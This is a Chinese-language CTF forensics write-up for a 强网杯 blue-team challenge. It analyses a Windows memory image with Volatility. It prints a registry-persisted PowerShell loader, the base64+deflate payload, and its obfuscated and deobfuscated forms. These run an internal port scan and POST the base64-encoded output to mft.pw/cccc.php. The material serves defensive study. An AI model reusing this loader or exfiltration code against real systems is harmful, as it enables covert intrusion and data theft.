强网杯 广博的BlueTeaming

阅读量    188266 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

blueteaming

解法一

把注册表dump下来

python2 vol.py -f memory.dmp --profile=Win7SP1x64 dumpregistry -D ctf/

dump下来后拖到windows,用registerExplorer来找。发现拖进来后只有15个注册表,少的是SOFTWARE这个表里的,而且无法拖进registerexplorer。

python2 vol.py -f memory.dmp --profile=Win7SP1x64 dumpregistry -D ctf/

后来在网上找到申请修改注册表的命令

reg query

打开010Editor并寻找相应的字符串即可

往前翻一下也可以知道这是WindowsPolicyUpdate.cmd文件。导出文件后可以看到内容(在cmd进程内存中可以找到)。

@echo off;
for /f "tokens=*" %%a in ('reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Communication" /v code ^| find /i "REG_SZ"') do (
    set var="%%~a";
    powershell -noprofile "%var:~19,1500%;
)
for /f "tokens=*" %%a in ('reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Communication" /v code ^| find /i "REG_SZ"') do (
    set var="%%~a";
    powershell -noprofile "%var:~19,1500%;
)

可能也是因为恶意修改注册表的原因,解释了为什么其他15个注册表都可以打开,而这个注册表无法打开。

解法二

把cmd进程dump下来

python2 vol.py  -f memory.dmp --profile=Win7SP1x64 memdump -p 7092 -D ctf/

通过strings命令

strings 7092.dmp | grep powershell
strings 7092.dmp | grep HKEY

即可找到对应的恶意代码

python2 vol.py  -f memory.dmp --profile=Win7SP1x64 printkey -K "Microsoft\Windows\Communication"

flag:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Communication

tips

根据恶意代码可以得到执行命令的语句为:

powershell -noprofile $veRBOsepReFErEncE.tOstrINg()[1,3]+'x'-JOin'')( nEW-ObjEcT sySTEm.iO.sTreaMReAdER( ( nEW-ObjEcT  SystEm.iO.CompreSsiOn.DEfLATEstREam([IO.meMoryStream] [CoNVeRT]::fROMbASe64StRinG('NVJdb5tAEHyv1P9wQpYAuZDaTpvEVqRi+5Sgmo/Axa0VRdoLXBMUmyMGu7Es//fuQvoAN7e7Nzua3RqUcJbgQVLIJ1hzNi/eGLMYe2gOFX+0zHpl9s0Uv4YHbnu8CzwI8nIW5UX4bNqM2RPGUtU4sPQSH+mmsFbIY87kFit3A6ohVnGIFbLOdLlXCdFhAlOT3rGAEJYQvfIsgmAjw/mJXTPLssxsg3U59VTvyrT7JjvDS8bwN8NvbPYt81amMeItpi1TI3omaErK0fO5bNr7LQVkWjYkqlZtkVtRUK8xxAQxxqylGVwM3dFX6jtw6TgbnrPRCMFlm75i3xAPhq2aqUnNKFyWqhNiu0bC4wV6kXHDsh6yF5k8Xgz7Hbi6+ACXI/vLQyoSv7x5/EgNbXvy+VPvOAtyvWuggvuGvOhZaNFS/wTlqN9xwqGuwQddst7Rh3AfvQKHLAoCsq4jmMJBgKrpMbm/By8pcDQLzlju3zFn6S12zB6PjXsIfcj0XBmu8Qyqma4ETw2rd8w2MI92IGKU0HGqEGYacp7/Z2U+CB7gqJdy67c2dHYsOA0H598N33b3cr3j2EzoKXgpiv1+XjfbIryhRk+wakhq16TSqYhpKcHbpNTox9GYgyekcY0KcFGyKFf56YTF7drg1ji/+BMk/G7H04Y599sCFW3+NG71l0aXZRntjFu94FGhHidQzYvOsSiOaLsFxaY6P6CbFWioRSUTGdSnyT8=' ) , [IO.coMPressION.cOMPresSiOnmOde]::dEcOMPresS)), [TexT.ENcODInG]::AsCIi)).ReaDToeNd()

因为加密方式有限,可以猜测出为base64+deflate加密,我们通过cyberchef解密。

(加密方式根据以下链接得出。

https://zhuanlan.zhihu.com/p/137407536

https://netsec.expert/posts/write-a-crypter-in-any-language/)

这其实是一个powershell的免杀马。

得到如下

s`eT-V`A`Riab`lE Diq  (  [typE]('sY'+'S'+'tEM.'+'tExT'+'.'+'EnCOdiNg')  );Set-`VARI`A`B`le  ('Car'+'u1')  (  [TyPe]('ConveR'+'t') )  ;${i`N`V`OkEcO`MmaND} = ((('cm'+'d'+'.exe')+' /'+'c '+'C'+':'+('HaSP'+'r')+('o'+'gr')+'a'+('m'+'Dat')+'aH'+('aSnt'+'user')+'.p'+('ol'+' TC'+'P ')+('172.30'+'.1.0'+'/24 33'+'8')+('9 5'+'12 /'+'B'+'a')+('nne'+'r'))."REPL`A`cE"(([chaR]72+[chaR]97+[chaR]83),[STRInG][chaR]92));${CMdout`p`Ut} = $(i`NVoK`e-eXPRE`ss`I`on ${I`NvOk`E`cOMMaND});${B`yT`es} =   ( v`ARiA`BLE  dIQ -VALu )::"U`NI`coDe"."g`etBYTES"(${cm`DOu`TPUt});${eN`Co`dEd} =   (  I`TEM ('VarI'+'a'+'B'+'LE'+':Caru1')  ).valuE::"ToB`AS`E`64striNG"(${b`Yt`es});${poSTP`A`R`AmS} = @{"D`ATa"=${e`N`cOded}};i`N`VOkE-WEb`REQuESt -Uri ('mft.pw'+'/ccc'+'c.ph'+'p') -Method ('POS'+'T') -Body ${p`o`sTpaRaMs};

很明显是混淆过后的代码,反混淆后得到:

${invokecommand}=cmd.exe /c c:\\programdata\\ntuser.pol tcp 172.30.1.0/24 3389 512 /bannersetvarible diq([type](system.text.encoding));setvariable(caru1)([type](convert));${cmdoutput} = $(invoke-expression ${invokecommand});${bytes}=(variable diq-valu)::unicode.getbytes(${cmdoutput})${encoded} = ( item ('variable:caru1') ).value::tobase64string"(${bytes});${postparams} = @{"data"=${encoded}};invoke-webrequest -uri ('*****/cccc.php') -method ('post') -body ${postparams};

可以得到该操作系统为windows Server 2008。

invokecommand

首先对该命令下手

cmd.exe /c c:\\programdata\\ntuser.pol tcp 172.30.1.0/24 3389 512 /banner

意味着端口的扫描,攻击者对172.30.1.0的网络进行端口的扫描,

而port 512,port 3389开启的时候,然后攻击者就会使用它们对内部网络进行攻击并扩散攻击范围。

而这条命令是根据这个项目https://github.com/kingron/s

查wiki就可以找到相应的端口服务。https://zh.wikipedia.org/wiki/TCP/UDP%E7%AB%AF%E5%8F%A3%E5%88%97%E8%A1%A8

进行内网用户3389端口的扫描,用于远程桌面,十分危险。

invoke-webrequest

invoke-webrequest则是powershell中的curl模块,访问mft.pw/cccc.php并把执行命令的结果通过post传过去。

那么接下来我们开始对url下手。

访问*/ccc.php发现是404.我不信,然后使用post进行抓包传参。得到如下

果然是有东西的。直接访问是失败的。

又出现了一个cloudflare的url,出现在header:report-to中。

https://a.nel.cloudflare.com/report/v2?s=YHULLPtKkHTg%2Fvi6UzwAnOERGXNqZpAVlj468dn9VZFdHvcZzsBJZzAopoVpaxqef7T52bj7H38YNbatDvWJFi3Fa6YanTlVB50w6UYfgyIwRYLi

好吧,真的什么都没有了。这些是正常的headers。

我们回到iexploer.exe进程,通过对关键词mft.pw的搜索,我很容易找到了对应的http请求。说明这里给的镜像不是简单的进行了注册表的修改,而是确实执行了该免杀马的。

再看一下这个代码的执行流程,我们可以通过pstree清晰的看到。explorer.exe执行后,连锁执行了iexplorer.exe以及cmd.exe。

而最后的winpmem_v3.3.r不用管它,是用来dump内存的。

在cmd的16进制中可以看到WindowsPolicyUpdate.cmd文件中有命令执行的代码。

当我问及如何持久化运行这个免杀马时,出题人给了我一些思路。

Find the created time when ntuser.pol was created in the MFT block of the memory dump.Most of the dropper-type malware doesn't create just one file.

我们通过volatility来提取mft(Managed file transfer),以求寻找同时生成的异样文件。

python2 vol.py -f  memory.dmp --profile=Win7SP1x64 mftparser > output.txt

2020-11-26 12:55:37 UTC+0000 2020-11-26 12:55:37 UTC+0000   2020-11-26 12:55:37 UTC+0000   2020-11-26 12:55:37 UTC+0000   ProgramData\WindowsPolicyUpdate.cmd

ntuser.pol

2020-11-26 12:55:37 UTC+0000 2020-11-26 12:55:37 UTC+0000   2020-11-26 12:55:37 UTC+0000   2020-11-26 12:55:37 UTC+0000   ProgramData\ntuser.pol

然后对于其他的文件及其路径并没有察觉到有什么不对,下面的两个CMD文件应该是同一个文件。

strings output.txt | grep "2020-11-26 12:55:37"

我把mft输出和内存文件一起保存,希望有感兴趣的师傅能指点一下。

链接:https://pan.baidu.com/s/1T9QH-HYOQSFokCEZXVlm_g
提取码:anq6

当我通过邮件请教师傅时,一句非常普通的话,让我感受到了在今年国赛里awd中一样真实的攻防。感谢大师傅。

real attackers often delete the means of an end after they have accomplished it. To express this, i actually deleted the page. so 404 is correct.

https://zhuanlan.zhihu.com/p/137407536

https://blog.csdn.net/qq_42880719/article/details/117968361

https://mp.weixin.qq.com/s/ItaIgLxcXCjvAhyyP3On9Q

https://netsec.expert/posts/write-a-crypter-in-any-language/

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多